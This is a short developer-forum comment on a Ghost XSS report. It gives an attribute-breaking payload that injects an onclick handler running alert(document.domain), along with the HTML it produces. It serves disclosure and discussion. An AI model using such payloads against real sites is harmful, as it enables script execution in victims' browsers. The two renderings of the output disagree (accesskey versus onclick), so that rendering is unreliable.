DEV Community

Discussion on: XSS in Ghost

 
antogarand profile image
Antony Garand

But you can start a URL with quotes!

Thanks to the url authentitation, this payload is valid:

"a"b="@dev.to#"onclick="alert(document.domain)"accesskey="x"

Which gives the resulting HTML:

<input class="location" type="hidden" name="location" value="a"b="@dev.to#"accesskey="alert(document.domain)"keycode="x" />

Or, once beautified:

<input 
  class="location" 
  type="hidden" 
  name="location"
  value="a"
  b="@dev.to#"
  onclick="alert(document.domain)"
  accesskey="x" 
/>